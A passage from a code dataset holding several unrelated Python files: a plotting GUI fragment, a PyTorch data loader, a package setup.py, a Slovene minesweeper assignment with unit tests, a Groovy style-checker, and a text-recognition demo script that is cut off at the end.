self.seriesPlotInfo.GetSeriesInfo():\n      #test to see if the axis already exists\n      if not oneSeries.axisTitle in self.axislist:\n        self.axislist[oneSeries.axisTitle]=None\n\n\n    for i, axis in zip(range(len(self.axislist)), self.axislist):\n      if i %2==0:\n        left = left+1\n        #add to the left(yaxis)\n        if i==0:\n          #if first plot use the orig axis\n          newAxis =self.timeSeries\n        else:\n          newAxis= self.timeSeries.twinx()\n          new_fixed_axis = newAxis.get_grid_helper().new_fixed_axis\n          newAxis.axis['left']= new_fixed_axis(loc = 'left', axes= newAxis, offset= (-30*left ,0))\n          newAxis.axis[\"left\"].toggle(all = True)\n          newAxis.axis[\"right\"].toggle(all = False)\n          plt.subplots_adjust(left=.10+(adj*(left-1)))\n\n      else:\n        right= right+1\n        #add to the right(y2axis)\n        newAxis= self.timeSeries.twinx()\n        new_fixed_axis = newAxis.get_grid_helper().new_fixed_axis\n        newAxis.axis['right']= new_fixed_axis(loc = 'right', axes= newAxis, offset= (60*(right-1) ,0))\n        newAxis.axis['right'].toggle(all=True)\n        plt.subplots_adjust(right=.9-(adj*right))\n\n      newAxis.set_ylabel(axis)\n      self.axislist[axis]=newAxis\n\n\n\n\n  def callback(self, verts):\n      seldatetimes= [matplotlib.dates.num2date(x[0]) for x in verts]\n      #print seldatetimes\n\n      # self.parent.record_service.select_points(datetime_list=seldatetimes)\n\n      p = path.Path(verts)\n      ind = p.contains_points(self.xys)\n      self.changeSelection(ind)\n\n      self.canvas.draw_idle()\n      self.canvas.widgetlock.release(self.lasso)\n      del self.lasso\n\n\n\n  def onpress(self, event):\n      if self.canvas.widgetlock.locked(): return\n      if event.inaxes is None: return\n      self.lasso = Lasso(event.inaxes, (event.xdata, event.ydata), self.callback)\n      # acquire a lock on the widget drawing\n      self.canvas.widgetlock(self.lasso)\n\n\n  def __init__(self, parent, id, pos, size, style, name):\n      self._init_ctrls(parent)\n\n\n\n","sub_path":"src/Gui/plotTimeSeries.py","file_name":"plotTimeSeries.py","file_ext":"py","file_size_in_byte":10996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"528712518","text":"import torch\r\nimport numpy as np\r\nfrom torch.autograd import Variable\r\nfrom torch.utils.data import Dataset,DataLoader\r\n\r\nclass DiabetesDataset(Dataset):\r\n\r\n    def __init__(self):\r\n        xy=np.loadtxt('data/diabetes.csv.gz',delimiter=',',dtype=np.float32)\r\n        self.len=xy.shape[0]\r\n        self.x_data=torch.from_numpy(xy[:,0:-1])\r\n        self.y_data=torch.from_numpy(xy[:,-1])\r\n    def __getitem__(self,index):\r\n        return self.x_data[index],self.y_data[index]\r\n    def __len__(self):\r\n        return self.len\r\n\r\n\r\ndataset=DiabetesDataset()\r\ntrain_loader=DataLoader(dataset=dataset,batch_size=32,shuffle=True,num_workers=2)\r\ndef run():\r\n    torch.multiprocessing.freeze_support()\r\n    print('loop')\r\n\r\n\r\nfor epoch in range(10):\r\n    for i, data in enumerate(train_loader,0):\r\n        inputs,labels=data\r\n\r\n        inputs,labels=Variable(inputs),Variable(labels)\r\n        print(epoch,inputs.data,labels.data)\r\n        if __name__ == '__main__':\r\n#            freeze_support()\r\n            pass\r\n","sub_path":"t_dataset_loader.py","file_name":"t_dataset_loader.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"444151693","text":"from setuptools import setup, find_packages\r\nfrom getpass import getuser\r\n\r\nuser = getuser()\r\n\r\nwith open(\"README.md\", \"r\") as fh:\r\n    long_description = fh.read()\r\n\r\nsetup(\r\n    name = 'turbocharge',\r\n    version = '3.0.6',\r\n    description= 'Turbocharged Way To Install All The Packages You Love!',\r\n    url=\"https://github.com/TheBossProSniper/TurboCharge\",\r\n    author = 'TheBossProSniper',\r\n    author_email = 'thebossprosniper@gmail.com',\r\n    long_description=long_description,\r\n    long_description_content_type=\"text/markdown\",\r\n    py_modules=['turbocharge'],\r\n    packages=find_packages(),\r\n    scripts=[os.path.join(os.path.abspath(os.getcwd()), 'src', 'turbocharge.py')],\r\n    install_requires = [\r\n        'Click',\r\n        'progress',\r\n    ],\r\n    package_dir={'': 'src'},\r\n    entry_points = \r\n    '''\r\n        [console_scripts]\r\n        turbocharge=turbocharge:cli\r\n    ''',\r\n    classifiers=[\r\n        \"License :: OSI Approved :: MIT License\",\r\n        \"Operating System :: Unix\",\r\n    ]\r\n)\r\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"513268614","text":"\n########################\n# Za oceno 6\n\nfrom math import sqrt\n\ndef sosedov(x,y,mine):\n    return len([(a,b) for a,b in mine \\\n                if sqrt((x - a) ** 2 + (y - b) ** 2) < 2 \\\n               and (x,y) != (a,b)])\n\ndef vsa_polja(s, v):\n    return ((x, y) for x in range(s) for y in range(v))\n\ndef najvec_sosedov(mine, s, v):\n    a, b = 0, 0\n    najvec = 0\n    for (x, y) in list(vsa_polja(s, v)):\n            if sosedov(x, y, mine) > najvec:\n                najvec = sosedov(x, y, mine)\n                a, b = x, y\n    return a, b\n\ndef brez_sosedov(mine, s, v):\n    return set((x,y) for x,y in list(vsa_polja(s,v)) if sosedov(x,y,mine) == 0)\n\ndef po_sosedih(mine, s, v):\n    c = {}\n    for e in range(0,9):\n        for x,y in vsa_polja(s,v):\n            if e not in c:\n                c[e] = set()\n            if sosedov(x,y,mine) == e:\n                c[e].add((x,y))\n    return c\n\n########################\n# Za oceno 7\n\ndef dolzina_poti(pot):\n    return sum(abs((x2-x1) + (y2-y1)) for (x1,y1),(x2,y2) in list(zip(pot, pot[1:len(pot)])))\n\ndef varen_premik(x0,y0,x1,y1,mine):\n    for x,y in mine:\n        if (y1 == y0 == y and x0<=x<=x1) or (x0 == x1 == x and y0 <= y <= y1):\n            return False\n        elif (x0 == x1 == x and y1 <= y <= y0) or (y1 == y0 == y and x1 <= x <= x0):\n            return False\n    return True\n\ndef varna_pot(pot, mine):\n    return all(varen_premik(x0,y0,x1,y1,mine) for (x0, y0), (x1, y1) in zip(pot[:1]+pot, pot))\n\n########################\n# Za oceno 8\n\ndef polje_v_mine(polje):\n    seznam = []\n    c = polje.split()\n    v=len(c)\n    s=0\n    for e in enumerate(c):\n        s = len(e[1])\n        for f,h in list(enumerate(e[1])):\n            if h == \"X\":\n                seznam.append((f, e[0]))\n    return set(seznam), s, v\n\n########################\n# Za oceno 9\n#\n# Vse funkcije za oceno 6 in 7 morajo biti napisane v eni vrstici.\n\n\n########################\n# Za oceno 10\n\ndef preberi_pot(ukazi):\n    \"\"\"\n    Za podani seznam ukazov (glej navodila naloge) vrni pot.\n\n    Args:\n        ukazi (str): ukazi, napisani po vrsticah\n\n    Returns:\n        list of tuple of int: pot\n    \"\"\"\n\n\ndef zapisi_pot(pot):\n    \"\"\"\n    Za podano pot vrni seznam ukazov (glej navodila naloge).\n\n    Args:\n        pot (list of tuple of int): pot\n\n    Returns:\n        str: ukazi, napisani po vrsticah\n    \"\"\"\n\n\nimport unittest\n\n\n\"\"\"\n...X....\n.X....X.\n.XX.....\n......X.\n\"\"\"\nmine1 = {(3, 0), (1, 1), (6, 1), (1, 2), (2, 2), (6, 3)}\ns1, v1 = 8, 4\n\n\n\"\"\"\n........\n........\n........\n\"\"\"\nmine2 = set()\ns2, v2 = 8, 3\n\n\n\"\"\"\n...X...X.X....X.\n\"\"\"\nmine3 = {(3, 0), (7, 0), (9, 0), (14, 0)}\ns3, v3 = 16, 1\n\n\"\"\"\nX\n\"\"\"\nmine4 = {(0, 0)}\ns4, v4 = 1, 1\n\n\"\"\"\nX\n.\n.\nX\n.\nX\n.\n\"\"\"\nmine5 = {(0, 0), (0, 3), (0, 5)}\ns5, v5 = 1, 7\n\nclass Test06(unittest.TestCase):\n    def test_01_sosedov(self):\n        self.assertEqual(sosedov(2, 1, mine1), 4)\n        self.assertEqual(sosedov(0, 3, mine1), 1)\n        self.assertEqual(sosedov(4, 3, mine1), 0)\n        self.assertEqual(sosedov(4, 2, mine1), 0)\n        self.assertEqual(sosedov(0, 0, mine1), 1)\n        self.assertEqual(sosedov(7, 0, mine1), 1)\n        self.assertEqual(sosedov(3, 0, mine1), 0)\n\n        self.assertEqual(sosedov(2, 2, mine2), 0)\n        self.assertEqual(sosedov(0, 0, mine2), 0)\n        self.assertEqual(sosedov(0, 0, mine2), 0)\n\n        self.assertEqual(sosedov(0, 0, mine3), 0)\n        self.assertEqual(sosedov(2, 0, mine3), 1)\n        self.assertEqual(sosedov(3, 0, mine3), 0)\n        self.assertEqual(sosedov(8, 0, mine3), 2)\n\n        self.assertEqual(sosedov(0, 0, mine4), 0)\n\n        self.assertEqual(sosedov(0, 0, mine5), 0)\n        self.assertEqual(sosedov(0, 1, mine5), 1)\n        self.assertEqual(sosedov(0, 2, mine5), 1)\n        self.assertEqual(sosedov(0, 3, mine5), 0)\n        self.assertEqual(sosedov(0, 4, mine5), 2)\n        self.assertEqual(sosedov(0, 5, mine5), 0)\n        self.assertEqual(sosedov(0, 6, mine5), 1)\n\n    def test_02_najvec_sosedov(self):\n        self.assertEqual(najvec_sosedov(mine1, s1, v1), (2, 1))\n        x, y = najvec_sosedov(mine2, s2, v2)\n        self.assertTrue(0 <= x < s2)\n        self.assertTrue(0 <= y < v2)\n        self.assertEqual(najvec_sosedov(mine3, s3, v3), (8, 0))\n        self.assertEqual(najvec_sosedov(mine4, s4, v4), (0, 0))\n        self.assertEqual(najvec_sosedov(mine5, s5, v5), (0, 4))\n\n    def test_03_brez_sosedov(self):\n        self.assertEqual(brez_sosedov(mine1, s1, v1),\n                         {(3, 0), (4, 2), (6, 1), (6, 3), (4, 3)})\n        self.assertEqual(brez_sosedov(mine2, s2, v2),\n                         {(x, y) for x in range(s2) for y in range(v2)})\n        self.assertEqual(brez_sosedov(mine3, s3, v3),\n                         {(x, 0) for x in (0, 1, 3, 5, 7, 9, 11, 12, 14)})\n        self.assertEqual(brez_sosedov(mine4, s4, v4), {(0, 0)})\n        self.assertEqual(brez_sosedov(mine5, s5, v5),\n                         {(0, 0), (0, 3), (0, 5)})\n\n    def test_04_po_sosedih(self):\n        self.assertEqual(po_sosedih(mine1, s1, v1),\n                         {0: {(3, 0), (4, 2), (6, 1), (6, 3), (4, 3)},\n                          1: {(7, 3), (3, 2), (0, 0), (7, 0), (3, 3), (7, 1),\n                              (4, 0), (6, 0), (5, 0), (5, 3), (5, 1), (1, 0),\n                              (4, 1), (0, 3)},\n                          2: {(0, 1), (1, 2), (1, 3), (0, 2), (3, 1), (2, 0),\n                              (6, 2), (2, 3), (2, 2), (5, 2), (1, 1), (7, 2)},\n                          3: set(),\n                          4: {(2, 1)},\n                          5: set(),\n                          6: set(),\n                          7: set(),\n                          8: set()}\n                         )\n\n        prazen = dict.fromkeys(range(9), set())\n        prazen[0] = {(x, y) for x in range(s2) for y in range(v2)}\n        self.assertEqual(po_sosedih(mine2, s2, v2), prazen)\n\n        s = dict.fromkeys(range(9), set())\n        s.update({0: {(9, 0), (0, 0), (7, 0), (12, 0), (3, 0), (11, 0),\n                      (14, 0), (5, 0), (1, 0)},\n                  1: {(15, 0), (6, 0), (2, 0), (10, 0), (13, 0), (4, 0)},\n                  2: {(8, 0)}})\n        self.assertEqual(po_sosedih(mine3, s3, v3), s)\n\n        s = dict.fromkeys(range(9), set())\n        s.update({0: {(9, 0), (0, 0), (7, 0), (12, 0), (3, 0), (11, 0),\n                      (14, 0), (5, 0), (1, 0)},\n                  1: {(15, 0), (6, 0), (2, 0), (10, 0), (13, 0), (4, 0)},\n                  2: {(8, 0)}})\n        self.assertEqual(po_sosedih(mine3, s3, v3), s)\n\n        s = dict.fromkeys(range(9), set())\n        s[0] = {(0, 0)}\n        self.assertEqual(po_sosedih(mine4, s4, v4), s)\n\n        s = dict.fromkeys(range(9), set())\n        s.update({0: {(0, 3), (0, 0), (0, 5)},\n                  1: {(0, 1), (0, 6), (0, 2)},\n                  2: {(0, 4)}})\n        self.assertEqual(po_sosedih(mine5, s5, v5), s)\n\n\nclass Test07(unittest.TestCase):\n    def test_01_dolzina_poti(self):\n        self.assertEqual(dolzina_poti([(7, 2), (7, 5)]), 3)\n        self.assertEqual(dolzina_poti([(7, 5), (7, 2)]), 3)\n        self.assertEqual(dolzina_poti([(7, 5), (4, 5)]), 3)\n        self.assertEqual(dolzina_poti([(1, 5), (4, 5)]), 3)\n        self.assertEqual(\n            dolzina_poti([(0, 0), (0, 3), (4, 3), (4, 2), (7, 2), (7, 3)]),\n            3 + 4 + 1 + 3 + 1)\n        self.assertEqual(\n            dolzina_poti([(0, 3), (4, 3), (4, 2), (7, 2), (7, 3)]),\n            4 + 1 + 3 + 1)\n        self.assertEqual(\n            dolzina_poti([(0, 0), (0, 1), (3, 1)]),\n            1 + 3)\n        self.assertEqual(dolzina_poti([(5, 3)]), 0)\n        self.assertEqual(dolzina_poti([]), 0)\n\n    \"\"\"\n    ...X....\n    .X....X.\n    .XX.....\n    ......X.\n    \"\"\"\n    def test_02_varen_premik(self):\n        self.assertTrue(varen_premik(3, 1, 3, 3, mine1))\n        self.assertTrue(varen_premik(3, 3, 3, 1, mine1))\n        self.assertTrue(varen_premik(4, 0, 7, 0, mine1))\n        self.assertTrue(varen_premik(7, 0, 4, 0, mine1))\n        self.assertTrue(varen_premik(2, 1, 5, 1, mine1))\n        self.assertTrue(varen_premik(5, 1, 2, 1, mine1))\n\n        self.assertFalse(varen_premik(2, 1, 6, 1, mine1))\n        self.assertFalse(varen_premik(6, 1, 2, 1, mine1))\n        self.assertFalse(varen_premik(1, 1, 5, 1, mine1))\n        self.assertFalse(varen_premik(5, 1, 1, 1, mine1))\n        self.assertFalse(varen_premik(0, 1, 4, 1, mine1))\n        self.assertFalse(varen_premik(4, 1, 0, 1, mine1))\n\n        self.assertFalse(varen_premik(2, 1, 2, 3, mine1))\n        self.assertFalse(varen_premik(2, 3, 2, 1, mine1))\n        self.assertFalse(varen_premik(2, 1, 2, 2, mine1))\n        self.assertFalse(varen_premik(2, 2, 2, 1, mine1))\n        self.assertFalse(varen_premik(2, 2, 2, 0, mine1))\n        self.assertFalse(varen_premik(2, 0, 2, 2, mine1))\n\n        self.assertFalse(varen_premik(1, 1, 1, 1, mine1))\n\n    \"\"\"\n    ...X....\n    .X....X.\n    .XX.....\n    ......X.\n    \"\"\"\n    def test_03_varna_pot(self):\n        self.assertTrue(varna_pot([(0, 0), (0, 3), (4, 3), (4, 2), (7, 2), (7, 3)], mine1))\n        self.assertTrue(varna_pot([(0, 3), (4, 3), (4, 2), (7, 2), (7, 3)], mine1))\n        self.assertTrue(varna_pot([(2, 1)], mine1))\n        self.assertTrue(varna_pot([], mine1))\n\n        self.assertFalse(varna_pot([(0, 0), (0, 1), (3, 1)], mine1))\n        self.assertFalse(varna_pot([(0, 0), (1, 0), (1, 3)], mine1))\n        self.assertFalse(varna_pot([(0, 0), (1, 0), (0, 0), (1, 0), (1, 3), (3, 3)], mine1))\n        self.assertFalse(varna_pot([(1, 1)], mine1))\n\n\nclass Test08(unittest.TestCase):\n    def test_01_polje_v_mine(self):\n        # Če si sledi več nizov, med katerimi ni ničesar, jih Python zlepi\n        # \".X. \"   \"..X\" je isto kot \".X. ...\".\n        self.assertEqual(polje_v_mine(\"...X.... \"\n                                      \".X....X. \"\n                                      \".XX..... \"\n                                      \"......X.\"), (mine1, s1, v1))\n        self.assertEqual(polje_v_mine(\"........ \"\n                                      \"........ \"\n                                      \"........\"), (mine2, s2, v2))\n        self.assertEqual(polje_v_mine(\"...X...X.X....X.\"), (mine3, s3, v3))\n        self.assertEqual(polje_v_mine(\"X\"), (mine4, s4, v4))\n        self.assertEqual(polje_v_mine(\"X \"\n                                      \". \"\n                                      \". \"\n                                      \"X \"\n                                      \". \"\n                                      \"X \"\n                                      \". \"), (mine5, s5, v5))\n\n\nclass Test10(unittest.TestCase):\n    def test_01_preberi_pot(self):\n        self.assertEqual(\n            preberi_pot(\n\"\"\"DESNO\nDESNO\n3\nLEVO\n4\nLEVO\n1\nDESNO\n3\nDESNO\n1\"\"\"), [(0, 0), (0, 3), (4, 3), (4, 2), (7, 2), (7, 3)])\n\n        self.assertEqual(\n            preberi_pot(\n\"\"\"DESNO\nLEVO\nDESNO\nDESNO\nDESNO\nDESNO\nDESNO\n3\"\"\"), [(0, 0), (3, 0)])\n\n        self.assertEqual(\n            preberi_pot(\n\"\"\"LEVO\nDESNO\nLEVO\nLEVO\nLEVO\nLEVO\nDESNO\n3\"\"\"), [(0, 0), (3, 0)])\n\n        self.assertEqual(\n            preberi_pot(\n\"\"\"LEVO\nDESNO\nLEVO\nLEVO\nLEVO\nLEVO\nDESNO\n3\"\"\"), [(0, 0), (3, 0)])\n\n        self.assertEqual(\n            preberi_pot(\n\"\"\"DESNO\n3\nDESNO\n3\nDESNO\n3\nDESNO\n3\"\"\"), [(0, 0), (3, 0), (3, 3), (0, 3), (0, 0)])\n\n        self.assertEqual(\n            preberi_pot(\n\"\"\"DESNO\n1\nDESNO\nDESNO\n1\nLEVO\nLEVO\n1\nDESNO\n3\nLEVO\n2\nDESNO\nDESNO\"\"\"), [(0, 0), (1, 0), (0, 0), (1, 0), (1, 3), (3, 3)])\n\n    def test_02_zapisi_pot(self):\n        pot = [(0, 0), (3, 0)]\n        self.assertEqual(preberi_pot(zapisi_pot(pot)), pot)\n\n        pot = [(0, 0), (3, 0), (3, 3)]\n        self.assertEqual(preberi_pot(zapisi_pot(pot)), pot)\n\n        pot = [(0, 0), (3, 0), (3, 3), (3, 5), (5, 5), (5, 1), (4, 1), (6, 1), (6, 8), (6, 3)]\n        self.assertEqual(preberi_pot(zapisi_pot(pot)), pot)\n\n        pot = [(0, 0), (0, 3), (4, 3), (4, 2), (7, 2), (7, 3)]\n        self.assertEqual(preberi_pot(zapisi_pot(pot)), pot)\n\nif __name__ == \"__main__\":\n    unittest.main()\n\n","sub_path":"code/batch-2/dn7 - minolovec/M-17068-1757.py","file_name":"M-17068-1757.py","file_ext":"py","file_size_in_byte":11934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"529423068","text":"#!/usr/bin/env python3\n\n'''\nRules for Groovy code style checking.\n'''\n\nimport re\n\n\nclass GroovyStyleRule:\n    '''\n    Groovy code style rule class.\n    '''\n    def __init__(self, name, check_function):\n        '''\n        Method to initialize Groovy code style rule object.\n\n        :param name: name of the rule\n        :param check_function: function which returns result of check\n        '''\n        self.name = name\n        self.check_function = check_function\n\n    def check(self, groovy_text):\n        '''\n        Method to check is rule is violated or met.\n\n        :param groovy_text: text that we want to check for code style\n        :returns: 0 if rule is met, 1 if rule is violated\n        '''\n        print(\"Checking rule '{}'...\".format(self.name))\n        result = self.check_function(groovy_text)\n        if result > 0:\n            print(\"Rule '{}' is violated!\".format(self.name))\n        else:\n            print(\"Rule '{}' is met.\".format(self.name))\n        return result\n\n\ndef findLineNumberBySymbolNumber(text, symbol_number):\n    '''\n    Function to find line number by symbol number.\n\n    :param text: multiline text where we need to find a line\n    :param symbol_number: number of needed symbol in text\n    :returns: number of line, where symbol resides\n    '''\n    line_number = 0\n    for i in range(symbol_number):\n        if text[i] == '\\n':\n            line_number += 1\n    return line_number\n\n\n# Rule #1.\ndef noTrailingSemicolons(groovy_text):\n    '''\n    Function that checks trailing semicolons.\n\n    :param groovy_text: text that we want to check for code style\n    :returns: 0 if rule is met, 1 if rule is violated\n    '''\n    lines = groovy_text.splitlines()\n    errors = False\n    for line_number in range(len(lines)):\n        line = lines[line_number]\n        if len(line) > 0 and line[-1] == ';':\n            print('ERROR: trailing semicolon at {} line.'.format(\n                line_number + 1))\n            errors = True\n    return int(errors)\n\n\n# Rule #2.\ndef optionalReturn(groovy_text):\n    '''\n    Function that checks unneeded returns.\n\n    :param groovy_text: text that we want to check for code style\n    :returns: 0 if rule is met, 1 if rule is violated\n    '''\n    lines = groovy_text.splitlines()\n    for line_number in range(len(lines)):\n        if 'return ' in lines[line_number]:\n            print('WARN: return keyword is used at {} line.'.format(\n                line_number + 1))\n    return 0\n\n\n# Rule #3.\ndef defOrType(groovy_text):\n    '''\n    Function that checks if both def and type are used.\n\n    :param groovy_text: text that we want to check for code style\n    :returns: 0 if rule is met, 1 if rule is violated\n    '''\n    lines = groovy_text.splitlines()\n    errors = False\n    for line_number in range(len(lines)):\n        line = lines[line_number]\n        if re.search(r'def\\s+.+\\s+.+\\s*=', line):\n            print('ERROR: both def and type are used at'\n                  ' {} line.'.format(line_number + 1))\n            errors = True\n    return int(errors)\n\n\n# Rule #4.\ndef defInParams(groovy_text):\n    '''\n    Function that checks if def is used in function parameters.\n\n    :param groovy_text: text that we want to check for code style\n    :returns: 0 if rule is met, 1 if rule is violated\n    '''\n    errors = False\n    function_params = []\n    for param in re.finditer(r'def\\s+[^\\(]+\\s*\\(([^\\)]+)\\)', groovy_text):\n        function_params.append(param)\n    if function_params:\n        for param in function_params:\n            if 'def ' in param.group(1):\n                symbol_number = param.start(1) + param.group(1).find('def ')\n                print('ERROR: def is used in function parameters at {} '\n                      'line.'.format(findLineNumberBySymbolNumber(\n                        groovy_text, symbol_number) + 1))\n                errors = True\n                break\n    return int(errors)\n\n\n# Rule #5.\ndef defConstructor(groovy_text):\n    '''\n    Function that checks if def is used to define a constructor.\n\n    :param groovy_text: text that we want to check for code style\n    :returns: 0 if rule is met, 1 if rule is violated\n    '''\n    errors = False\n    groovy_classes = []\n    for line in groovy_text.splitlines():\n        class_name = re.search(r'class\\s+(\\S+)\\s*{', line)\n        if class_name:\n            groovy_classes.append(class_name.groups()[0])\n    for class_name in groovy_classes:\n        found = re.search('def\\s+' + class_name + '\\s*\\(.*\\)\\s*\\{',\n                          groovy_text)\n        if found:\n            symbol_number = found.start(0) + found.group(0).find('def')\n            print('ERROR: def is used to define a constructor at'\n                  ' {} line.'.format(findLineNumberBySymbolNumber(\n                    groovy_text, symbol_number) + 1))\n            errors = True\n    return int(errors)\n\n\n# Rule #6.\ndef noPublicNeeded(groovy_text):\n    '''\n    Function that checks if public keyword is used.\n\n    :param groovy_text: text that we want to check for code style\n    :returns: 0 if rule is met, 1 if rule is violated\n    '''\n    errors = False\n    groovy_classes = []\n    lines = groovy_text.splitlines()\n    for line_number in range(len(lines)):\n        if re.search(r'^(\\s*|.*\\s+|.*[()[\\]{}]?\\s*)public\\s+.+$',\n                     lines[line_number]):\n            print('ERROR: public keyword is used at {} line.'.format(\n                  line_number + 1))\n            errors = True\n    return int(errors)\n\n\n# List of actual rules.\nACTUAL_RULES = [\n    GroovyStyleRule('no trailing semicolons', noTrailingSemicolons),\n    GroovyStyleRule('optional returns', optionalReturn),\n    GroovyStyleRule('only def or type used', defOrType),\n    GroovyStyleRule('def is not used in function parameters', defInParams),\n    GroovyStyleRule('def is not used to define a constructor', defConstructor),\n    GroovyStyleRule('do not use public keyword', noPublicNeeded)\n]\n","sub_path":"groovystylechecker/rules.py","file_name":"rules.py","file_ext":"py","file_size_in_byte":5891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"527756816","text":"# -*- coding: utf-8 -*-\n\"\"\"\n @File    : hand_written.py\n @Time    : 2020/9/2 下午5:15\n @Author  : yizuotian\n @Description    :\n\"\"\"\n\nimport argparse\nimport codecs\nimport glob\nimport multiprocessing as mp\nimport os\nimport time\n\nimport cv2\nimport numpy as np\nimport tqdm\nfrom adet.config import get_cfg\nfrom detectron2.data.detection_utils import read_image\nfrom detectron2.utils.logger import setup_logger\nfrom predictor import VisualizationDemo\n\n# constants\nWINDOW_NAME = \"COCO detections\"\n\n\ndef setup_cfg(args):\n    # load config from file and command-line arguments\n    cfg = get_cfg()\n    cfg.merge_from_file(args.config_file)\n    cfg.merge_from_list(args.opts)\n    # Set score_threshold for builtin models\n    cfg.MODEL.RETINANET.SCORE_THRESH_TEST = args.confidence_threshold\n    cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = args.confidence_threshold\n    cfg.MODEL.FCOS.INFERENCE_TH_TEST = args.confidence_threshold\n    cfg.MODEL.PANOPTIC_FPN.COMBINE.INSTANCES_CONFIDENCE_THRESH = args.confidence_threshold\n    cfg.freeze()\n    return cfg\n\n\ndef decode_recognition(rec):\n    CTLABELS = [' ', '!', '\"', '#', '$', '%', '&', '\\'', '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3',\n                '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n                'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\\\',\n                ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q',\n                'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~']\n\n    s = ''\n    for c in rec:\n        c = int(c)\n        if c < 95:\n            s += CTLABELS[c]\n        elif c == 95:\n            s += u'口'\n    return s\n\n\ndef bezier_to_poly(bezier):\n    # bezier to polygon\n    u = np.linspace(0, 1, 20)\n    bezier = bezier.reshape(2, 4, 2).transpose(0, 2, 1).reshape(4, 4)\n    points = np.outer((1 - u) ** 3, bezier[:, 0]) \\\n             + np.outer(3 * u * ((1 - u) ** 2), bezier[:, 1]) \\\n             + np.outer(3 * (u ** 2) * (1 - u), bezier[:, 2]) \\\n             + np.outer(u ** 3, bezier[:, 3])\n    points = np.concatenate((points[:, :2], points[:, 2:]), axis=0)\n\n    return points\n\n\ndef get_parser():\n    parser = argparse.ArgumentParser(description=\"Detectron2 Demo\")\n    parser.add_argument(\n        \"--config-file\",\n        default=\"configs/quick_schedules/e2e_mask_rcnn_R_50_FPN_inference_acc_test.yaml\",\n        metavar=\"FILE\",\n        help=\"path to config file\",\n    )\n    parser.add_argument(\"--webcam\", action=\"store_true\", help=\"Take inputs from webcam.\")\n    parser.add_argument(\"--video-input\", help=\"Path to video file.\")\n    parser.add_argument(\"--input\", nargs=\"+\", help=\"A list of space separated input images\")\n    parser.add_argument(\n        \"--output\",\n        help=\"A file or directory to save output visualizations. \"\n             \"If not given, will show output in an OpenCV window.\",\n    )\n\n    parser.add_argument(\n        \"--confidence-threshold\",\n        type=float,\n        default=0.5,\n        help=\"Minimum score for instance predictions to be shown\",\n    )\n    parser.add_argument(\n        \"--opts\",\n        help=\"Modify config options using the command-line 'KEY VALUE' pairs\",\n        default=[],\n        nargs=argparse.REMAINDER,\n    )\n    return parser\n\n\nif __name__ == \"__main__\":\n    \"\"\"\n    Usage:\n    export CUDA_DEVICE_ORDER=\"PCI_BUS_ID\"\n    export CUDA_VISIBLE_DEVICES=\"1\"\n    \n    \n    python demo/hand_written.py --config-file configs/BAText/TotalText/attn_R_50.yaml \\\n    --input /home/mydir/dataset/handWriting/test \\\n    --output /home/mydir/dataset/handWriting/test.vis \\\n    --confidence-threshold 0.4 \\\n    --opts MODEL.WEIGHTS /home/mydir/pretrained_model/tt_attn_R_50.pth \\\n    MODEL.FCOS.NMS_TH 0.05 INPUT.MIN_SIZE_TEST 200 INPUT.MAX_SIZE_TEST 400 \n    \n    scp -rp hand_written.py root@m2:/home/mydir/pyspace/AdelaiDet/demo/\n    \n    scp -rp root@m2:/home/mydir/pyspace/AdelaiDet/handwritten.csv ./\n    \"\"\"\n    mp.set_start_method(\"spawn\", force=True)\n    args = get_parser().parse_args()\n    logger = setup_logger()\n    logger.info(\"Arguments: \" + str(args))\n\n    cfg = setup_cfg(args)\n\n    demo = VisualizationDemo(cfg)\n\n    if args.input:\n        if os.path.isdir(args.input[0]):\n            args.input = [os.path.join(args.input[0], fname) for fname in os.listdir(args.input[0])]\n            args.input = sorted(args.input, key=lambda p: int(os.path.splitext(os.path.basename(p))[0]))\n        elif len(args.input) == 1:\n            args.input = glob.glob(os.path.expanduser(args.input[0]))\n            assert args.input, \"The input path(s) was not found\"\n        with codecs.open('./handwritten.csv', mode='w', encoding='utf-8') as w:\n            for path in tqdm.tqdm(args.input, disable=not args.output):\n                # use PIL, to be consistent with evaluation\n                img = read_image(path, format=\"BGR\")\n                start_time = time.time()\n                predictions, visualized_output = demo.run_on_image(img)\n                logger.info(\n                    \"{}: detected {} instances in {:.2f}s\".format(\n                        path, len(predictions[\"instances\"]), time.time() - start_time\n                    )\n                )\n                instances = predictions[\"instances\"].to(demo.cpu_device)\n                recs = instances.recs\n                texts = [decode_recognition(rec) for rec in recs]\n\n                beziers = instances.beziers.numpy()\n                xs = [bezier_to_poly(bezier)[0, 0] for bezier in beziers]\n\n                texts_xs = [(text, x) for text, x in zip(texts, xs)\n                            if not text.endswith('NOM')]\n                texts = [text.upper() for text, x in sorted(texts_xs, key=lambda text_x: text_x[1])]\n                logger.info(texts)\n\n                file_prefix = os.path.splitext(os.path.basename(path))[0]\n\n                w.write('{},{}\\n'.format(file_prefix, ' '.join(texts)))\n\n                if args.output:\n                    if os.path.isdir(args.output):\n                        assert os.path.isdir(args.output), args.output\n                        out_filename = os.path.join(args.output, os.path.basename(path))\n                    else:\n                        assert len(args.input) == 1, \"Please specify a directory with args.output\"\n                        out_filename = args.output\n                    visualized_output.save(out_filename)\n                else:\n                    cv2.imshow(WINDOW_NAME, visualized_output.get_image()[:, :, ::-1])\n                    if cv2.waitKey(0) == 27:\n                        break  # esc to 